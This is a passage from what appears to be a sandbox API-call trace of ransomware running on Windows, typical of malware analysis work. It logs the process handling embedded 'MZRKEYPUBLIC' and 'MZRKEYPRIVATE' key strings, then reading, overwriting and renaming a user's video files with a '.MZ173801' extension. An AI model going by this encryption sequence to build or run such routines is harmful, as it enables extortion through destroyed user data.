lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.982] GetCurrentThreadId () returned 0xab4 [0166.982] GetCurrentThreadId () returned 0xab4 [0166.982] GetCurrentThreadId () returned 0xab4 [0166.982] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\bAQTMwTYFo4f.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\baqtmwtyfo4f.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0166.982] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0166.982] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0166.982] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x16cbe [0166.982] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0166.982] ReadFile (in: hFile=0x2f4, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x16cbe, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f1b4*=0x16cbe, lpOverlapped=0x0) returned 1 [0166.984] CloseHandle (hObject=0x2f4) returned 1 [0166.986] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\bAQTMwTYFo4f.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\baqtmwtyfo4f.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0166.988] WriteFile (in: hFile=0x2f4, lpBuffer=0x24b8040*, nNumberOfBytesToWrite=0x16cbe, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x24b8040*, lpNumberOfBytesWritten=0x19f1c0*=0x16cbe, lpOverlapped=0x0) returned 1 [0166.991] CloseHandle (hObject=0x2f4) returned 1 [0166.994] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\bAQTMwTYFo4f.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\baqtmwtyfo4f.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\bAQTMwTYFo4f.avi.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\baqtmwtyfo4f.avi.mz173801")) returned 1 [0167.072] GetCurrentThreadId () returned 0xab4 [0167.072] GetCurrentThreadId () returned 0xab4 [0167.072] GetCurrentThreadId () returned 0xab4 [0167.072] GetCurrentThreadId () returned 0xab4 [0167.073] GetCurrentThreadId () returned 0xab4 [0167.073] GetCurrentThreadId () returned 0xab4 [0167.073] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53cc830, ftCreationTime.dwHighDateTime=0x1d5ec12, ftLastAccessTime.dwLowDateTime=0x2aae7360, ftLastAccessTime.dwHighDateTime=0x1d5f0f4, ftLastWriteTime.dwLowDateTime=0x2aae7360, ftLastWriteTime.dwHighDateTime=0x1d5f0f4, nFileSizeHigh=0x0, nFileSizeLow=0x15b21, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="nS7qCk1FY_m2n6d8o2.flv", cAlternateFileName="NS7QCK~1.FLV")) returned 1 [0167.073] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0167.073] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0167.073] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\nS7qCk1FY_m2n6d8o2.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\ns7qck1fy_m2n6d8o2.flv"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53cc830, ftCreationTime.dwHighDateTime=0x1d5ec12, ftLastAccessTime.dwLowDateTime=0x2aae7360, ftLastAccessTime.dwHighDateTime=0x1d5f0f4, ftLastWriteTime.dwLowDateTime=0x2aae7360, ftLastWriteTime.dwHighDateTime=0x1d5f0f4, nFileSizeHigh=0x0, nFileSizeLow=0x15b21)) returned 1 [0167.073] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\nS7qCk1FY_m2n6d8o2.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\ns7qck1fy_m2n6d8o2.flv")) returned 0x20 [0167.073] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\nS7qCk1FY_m2n6d8o2.flv", dwFileAttributes=0x80) returned 1 [0167.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0167.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0167.077] GetCurrentThreadId () returned 0xab4 [0167.077] GetCurrentThreadId () returned 0xab4 [0167.077] GetCurrentThreadId () returned 0xab4 [0167.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0167.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0167.079] GetCurrentThreadId () returned 0xab4 [0167.079] GetCurrentThreadId () returned 0xab4 [0167.079] GetCurrentThreadId () returned 0xab4 [0167.079] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\nS7qCk1FY_m2n6d8o2.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\ns7qck1fy_m2n6d8o2.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0167.079] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0167.079] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0167.079] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x15b21 [0167.079] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0167.079] ReadFile (in: hFile=0x2f4, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x15b21, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f1b4*=0x15b21, lpOverlapped=0x0) returned 1 [0167.081] CloseHandle (hObject=0x2f4) returned 1 [0167.083] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\nS7qCk1FY_m2n6d8o2.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\ns7qck1fy_m2n6d8o2.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, 